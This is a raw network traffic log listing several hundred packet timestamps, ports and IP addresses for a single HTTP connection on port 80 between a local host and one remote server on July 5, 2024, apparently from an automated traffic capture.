Jul 5, 2024 07:47:53.358056068 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.358064890 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.358076096 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.358086109 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.358093977 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.358098030 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.358108044 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.358119011 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.358125925 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.358129025 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.358141899 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.358158112 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.358180046 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.379278898 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.379292011 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.379302025 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.379332066 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.379347086 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.379354000 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.379364967 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.379403114 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.379439116 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.379450083 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.379487991 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.380568981 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.412125111 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.425283909 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.425456047 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.425466061 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.425499916 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.442425966 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.442500114 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.442553997 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.442564964 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.442575932 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.442586899 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.442599058 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.442609072 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.442631006 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.442667007 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.443073034 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.443094015 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.443103075 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.443135023 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.453072071 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453119040 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453130007 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453167915 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.453191042 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.453262091 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453277111 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453288078 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453299046 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453332901 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.453356981 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.453520060 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453531027 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453550100 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453564882 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.453566074 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453576088 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453587055 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453596115 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453608036 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453612089 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.453619957 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.453625917 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.453644037 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.454094887 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454106092 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454114914 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454127073 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454138041 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454142094 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.454149961 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454160929 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454176903 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.454195023 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.454207897 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.454391956 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454401970 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454411030 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454423904 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454442024 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454454899 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.454457998 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454468012 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454479933 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454482079 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.454493046 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454503059 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454513073 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.454514980 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454526901 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.454533100 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.454555035 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.454569101 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.459444046 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.459515095 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.459527016 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.459579945 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.459638119 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.459647894 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.459683895 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.459745884 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.459788084 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.459817886 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.459829092 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.459861994 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.459898949 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.459909916 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.459920883 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.459933043 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.459945917 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.459976912 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.460083961 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460094929 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460103989 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460115910 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460129023 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.460159063 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.460194111 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460306883 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460318089 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460328102 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460338116 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460350037 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460355997 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.460362911 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460374117 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460382938 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.460424900 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.460565090 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460575104 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460609913 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.460715055 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460726023 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460736036 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460746050 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460757017 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.460777044 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.460812092 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.461019039 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461029053 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461040020 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461050034 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461056948 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.461066961 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461077929 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461088896 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461093903 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.461097956 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461122990 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.461412907 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461424112 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461433887 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461445093 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461458921 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.461461067 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461472988 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461483955 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461493969 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461497068 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.461504936 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461520910 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.461539030 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.461704016 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461864948 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461874008 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461879015 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461888075 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461899042 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461910009 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461919069 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.461920023 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461930990 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461940050 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461951017 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461960077 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461961985 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.461971045 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.461987019 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.462012053 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.462502956 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.462513924 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.462524891 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.462534904 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.462547064 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.462548018 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.462559938 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.462568045 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.462601900 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.462683916 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.462727070 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.469173908 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.469212055 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.469223976 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.469273090 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.469377041 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.469388008 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.469398975 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.469410896 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.469424009 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.469458103 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.532176018 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.532227039 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.532238960 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.532277107 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.532366991 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.532377958 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.532388926 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.532399893 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.532433987 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.532464027 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.532769918 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.532820940 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.532824993 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.532835960 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.532879114 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.532902002 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.532912970 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.532952070 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.533024073 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.533035994 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.533081055 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.533087969 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.533159971 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.533171892 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.533181906 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.533195019 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.533224106 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.533250093 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.533380985 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.533397913 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.533409119 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.533426046 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.533454895 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.533849001 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.533900976 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.533912897 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.533950090 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.533972979 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534013987 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.534044981 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534054995 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534065962 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534075975 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534102917 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.534126043 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.534256935 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534322023 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534336090 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534369946 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.534426928 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534437895 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534447908 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534461021 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534472942 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.534502029 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.534600019 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534643888 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.534646034 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534657001 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534667015 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534693956 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.534811974 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534822941 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534832954 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534843922 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534848928 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.534873009 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.534986973 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.534996986 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.535007000 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.535021067 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.535037994 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.535128117 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.535140038 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.535150051 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.535161972 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.535172939 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.535193920 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.535219908 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.535320997 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.535370111 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.549618006 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.549678087 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.549688101 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.549724102 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.549747944 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.549762964 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.549776077 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.549784899 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.549787998 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.549812078 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.549951077 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.549969912 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.549993992 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.550025940 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550036907 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550071955 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.550132036 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550143003 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550169945 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.550273895 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550285101 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550293922 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550316095 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.550338984 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550343990 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.550352097 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550362110 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550390005 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.550542116 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550553083 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550563097 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550579071 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550581932 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.550610065 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.550791979 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550802946 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550821066 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550832033 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550834894 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.550846100 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.550863981 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.550894976 CEST	49733	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:47:53.551075935 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551085949 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551096916 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551109076 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551119089 CEST	80	49733	45.90.58.251	192.168.2.4
Jul 5, 2024 07:47:53.551122904 CEST	49733	80	192.168.2.4	45.90.58.251
